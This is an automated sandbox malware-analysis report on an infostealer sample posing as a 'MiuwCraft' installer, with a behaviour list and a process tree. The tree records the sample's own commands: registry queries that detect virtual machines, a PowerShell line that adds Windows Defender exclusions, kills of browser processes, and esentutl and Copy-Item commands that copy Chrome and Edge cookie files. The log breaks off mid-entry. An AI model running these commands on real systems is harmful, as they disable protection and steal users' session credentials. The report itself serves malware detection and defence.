Overview

overview

9

Static

static

3

_f6fc4ff92...a4.exe

windows10-2004-x64

9

_f6fc4ff92...a4.exe

windows11-ltsc_2024-x64

9

$PLUGINSDI...er.dll

windows10-2004-x64

3

$PLUGINSDI...er.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...ls.dll

windows10-2004-x64

3

$PLUGINSDI...ls.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...em.dll

windows10-2004-x64

3

$PLUGINSDI...em.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...ll.dll

windows10-2004-x64

3

$PLUGINSDI...ll.dll

windows11-ltsc_2024-x64

8

LICENSES.c...m.html

windows10-2004-x64

3

LICENSES.c...m.html

windows11-ltsc_2024-x64

4

MiuwCraft.exe

windows10-2004-x64

9

d3dcompiler_47.dll

windows10-2004-x64

1

ffmpeg.dll

windows10-2004-x64

1

libEGL.dll

windows10-2004-x64

1

libGLESv2.dll

windows10-2004-x64

1

resources/elevate.exe

windows10-2004-x64

3

resources/elevate.exe

windows11-ltsc_2024-x64

8

vk_swiftshader.dll

windows10-2004-x64

1

vulkan-1.dll

windows10-2004-x64

1

$PLUGINSDI...ec.dll

windows10-2004-x64

3

$PLUGINSDI...ec.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...ss.dll

windows10-2004-x64

3

$PLUGINSDI...ss.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...7z.dll

windows10-2004-x64

3

$PLUGINSDI...7z.dll

windows11-ltsc_2024-x64

3

$R0/Uninst...ft.exe

windows10-2004-x64

7

$R0/Uninst...ft.exe

windows11-ltsc_2024-x64

8

$PLUGINSDI...ls.dll

windows10-2004-x64

3

$PLUGINSDI...ls.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...em.dll

windows10-2004-x64

3

Analysis

  • max time kernel
    103s
  • max time network
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 09:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _f6fc4ff92edae858f5052ccde84673b4ea56a8c0fbb95c6b3fd5a57218862aa4.exe
  • Size 87.0MB
  • Sample260709-k2c6csfy2p
  • SHA256 f6fc4ff92edae858f5052ccde84673b4ea56a8c0fbb95c6b3fd5a57218862aa4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
adwaredefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealer

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

    Using powershell.exe command.

    execution
  • Looks for VMWare services registry key. 1 TTPs 1 IoCs
    defense_evasion
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 19 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 9 IoCs
    discovery
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 7 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 53 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\_f6fc4ff92edae858f5052ccde84673b4ea56a8c0fbb95c6b3fd5a57218862aa4.exe
    "C:\Users\Admin\AppData\Local\Temp\_f6fc4ff92edae858f5052ccde84673b4ea56a8c0fbb95c6b3fd5a57218862aa4.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4316
  • C:\Program Files\MiuwCraft\MiuwCraft.exe
    "C:\Program Files\MiuwCraft\MiuwCraft.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5700
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxService" 2>nul"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5732
      • C:\Windows\system32\reg.exe
        reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxService"
        3⤵
        • Enumerates VirtualBox registry keys
        PID:5592
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmtools" 2>nul"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5432
      • C:\Windows\system32\reg.exe
        reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmtools"
        3⤵
        • Looks for VMWare services registry key.
        PID:2848
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\DESCRIPTION\System" /v "SystemBiosVersion" 2>nul | findstr /i "vbox\|vmware\|virtual\|qemu""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\system32\reg.exe
        reg query "HKLM\HARDWARE\DESCRIPTION\System" /v "SystemBiosVersion"
        3⤵
        • Checks BIOS information in registry
        PID:2576
      • C:\Windows\system32\findstr.exe
        findstr /i "vbox\|vmware\|virtual\|qemu"
        3⤵
          PID:984
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv 2>nul"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3460
        • C:\Windows\system32\tasklist.exe
          tasklist /fo csv
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2044
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv 2>nul"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3928
        • C:\Windows\system32\tasklist.exe
          tasklist /fo csv
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2468
      • C:\Program Files\MiuwCraft\MiuwCraft.exe
        "C:\Program Files\MiuwCraft\MiuwCraft.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1716,i,15854758750779313418,6799558481373885958,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1708 /prefetch:2
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:5780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\MiuwCraft\MiuwCraft.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3112
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\MiuwCraft\MiuwCraft.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3188
      • C:\Program Files\MiuwCraft\MiuwCraft.exe
        "C:\Program Files\MiuwCraft\MiuwCraft.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --field-trial-handle=1944,i,15854758750779313418,6799558481373885958,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:3
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:5028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5736
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_dbaad15a.ps1""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_dbaad15a.ps1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4804
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:580
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM chrome.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1968
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM msedge.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:8
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1292
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM brave.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3728
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3180
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM opera.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5832
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2332
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM vivaldi.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5332
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM operagx.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2912
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM operagx.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3964
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera_crashreporter.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3160
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM opera_crashreporter.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3476
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4940
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV
          3⤵
          • Enumerates processes with tasklist
          PID:1636
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4984
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV
          3⤵
          • Enumerates processes with tasklist
          PID:1048
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2132
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV
          3⤵
          • Enumerates processes with tasklist
          PID:3524
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_ea10ab94.ps1""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4424
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_ea10ab94.ps1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1160
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1596
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Enumerates processes with tasklist
          PID:5756
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:6048
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV
          3⤵
          • Enumerates processes with tasklist
          PID:4268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq lsass.exe" /NH /FO CSV
          3⤵
          • Enumerates processes with tasklist
          PID:5568
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1552
        • C:\Windows\system32\esentutl.exe
          esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss
          3⤵
            PID:5512
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:5424
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4992
          • C:\Windows\system32\esentutl.exe
            esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss
            3⤵
              PID:3228
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4768
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5776
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1280
            • C:\Windows\system32\esentutl.exe
              esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss
              3⤵
                PID:5952
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4592
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5708
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5896
              • C:\Windows\system32\esentutl.exe
                esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss
                3⤵
                  PID:5520
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force""
                2⤵
                  PID:5436
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3400
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss"
                  2⤵
                    PID:1540
                    • C:\Windows\system32\esentutl.exe
                      esentutl /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db" /vss
                      3⤵
                        PID:2084
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force""
                      2⤵
                        PID:5952
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588170734_479.db' -Force"
                          3⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4736
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss"
                        2⤵
                          PID:1244
                          • C:\Windows\system32\esentutl.exe
                            esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss
                            3⤵
                              PID:5188
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force""
                            2⤵
                              PID:5620
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force"
                                3⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4968
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss"
                              2⤵
                                PID:4816
                                • C:\Windows\system32\esentutl.exe
                                  esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss
                                  3⤵
                                    PID:5616
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force""
                                  2⤵
                                    PID:2404
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force"
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2128
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss"
                                    2⤵
                                      PID:2220
                                      • C:\Windows\system32\esentutl.exe
                                        esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss
                                        3⤵
                                          PID:3560
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force""
                                        2⤵
                                          PID:2056
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force"
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2888
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /d /s /c "esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss"
                                          2⤵
                                            PID:4120
                                            • C:\Windows\system32\esentutl.exe
                                              esentutl /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal" /d "C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db" /vss
                                              3⤵
                                                PID:4116
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal' -Destination 'C:\Users\Admin\AppData\Local\193c60bf07b5e7b0\browser_data\temp_cookies_1783588201058_959.db' -Force""
                                              2⤵
                                                PID:4376
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
